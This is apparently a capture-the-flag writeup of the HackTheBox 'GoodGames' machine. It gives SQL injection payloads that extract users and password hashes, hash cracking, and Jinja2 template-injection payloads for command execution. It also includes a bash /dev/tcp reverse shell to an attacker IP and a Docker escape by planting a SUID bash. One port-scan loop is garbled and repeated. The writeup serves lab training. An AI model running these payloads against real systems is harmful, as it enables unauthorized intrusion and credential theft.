> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md). # GoodGames HackTheBox Writeup GoodGames HackTheBox Easy Linux machine writeup covering Exploiting Union-Based SQL Injections, Hash Cracking Weak Algorithms, Password Reuse, Exploiting SSTI, with practical enumeration, exploitation {% embed url="" %} {% hint style="warning" %} **Skills:** * Exploiting Union-Based SQL Injections * Hash Cracking Weak Algorithms * Password Reuse * Exploiting SSTI * Basics of Docker Breakouts {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts ```
**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80)
Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80 10.10.11.130 -oN targeted ```
To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:
**Directory search:** We use Gobuster to search directories on the site: ```bash gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265 ``` We find a signup directory.
## Vulnerability Sql Injection: Using **Burp Suite**, we can intercept the request allowing us to test SQL injection.
### Basic SQL Injection: To bypass authentication with a simple injection, we use: ```bash admin ' or 1=1-- - ```
This type of injection forces the condition to always be true (`1=1`), allowing access to the admin panel bypassing credential checks.
### UNION-based injection With a **Union-Based SQL** injection, we try to determine the number of columns to structure the queries in a way compatible with the database. Example: ```bash admin' union select 1,2,3,4-- - ``` The server returns a response indicating a "login successful," showing that there are 4 columns.
#### List Databases To list the name of the current database, we use: ```bash admin' union select 1,2,3,database()-- -&password=admin ```
Then, to get all available databases: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin ``` {% endcode %} Result: `information_schema`, `main`
#### List Tables After identifying the `main` database, we list the tables in this database to explore the stored structures: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - ``` {% endcode %} Tables found: `blog`, `blog_comments`, `users`.
List the Columns of a Table For the `users` table, we list the available columns: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- - ``` {% endcode %} Columns found: `email`, `id`, `name`, `password`.
#### Extraction of User Data We then extract the data from the `users` table: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- - ``` {% endcode %} USER: `Admin` EMAIL: `admin@goodgames.htb` PASSWORD (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`
### Password Decryption You can use **CrackStation** to decrypt the MD5 hash obtained and recover the password in clear text. {% embed url="" %}
## Vulnerability SSTI: ### Access to a Subdomain To access a discovered admin subdomain, add it to the `/etc/hosts` file.
Finally, with the **admin** credentials, you can authenticate on this subdomain. `admin:superadministrator`
In the subdomain you will find a **Settings** tab where you can edit the admin user information (full name, date of birth and phone).
If in the "full name" form you attempt to execute an SSTI attack, the server is vulnerable. To test this with `{{ }}`, let's try to see if it interprets the calculation: ```python {{1+1}} ```
Next, we'll run commands (for example, `id`): ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` We discover that he is in the `root` group.
We will create a reverse shell to access the server ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }} ``` We listen to port 443 on our attack machine: ```bash nc -nlvp 443 ```
### **Flag : user.txt** :)
## Privilege Escalation : Once you have access to the Linux server, here are the commands to perform for processing in the terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` This will allow you to work much more efficiently and, above all, more comfortably. ### Docker Escape: We observe that the IP address is not that of the machine (machine IP: 10.10.11.130; Docker container IP: 172.19.0.2).
We will scan the ports manually, since `nmap` is not installed on the gateway (172.19.0.1): ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ``` We observe that port 22 is open (internally), so we can connect via SSH. ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ```
If we try to log in with the root account using the password `superadministrator` we cannot log in, but with `augustus` we manage to get a shell.
### Bash SUID from Docker Since in the Docker container, we are root, we will copy the bash binary from the normal host of the machine into the home directory of `augustus`: ``` cp /bin/bash . ```
From Docker root, we will authorize the root group for this bash file and SUID permissions so that it runs as root: ```bash chown root:root bash chmod 4777 bash ``` We return to the SSH and we see: `-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`
### **Root Flag Obtained :)** `./bash -p`
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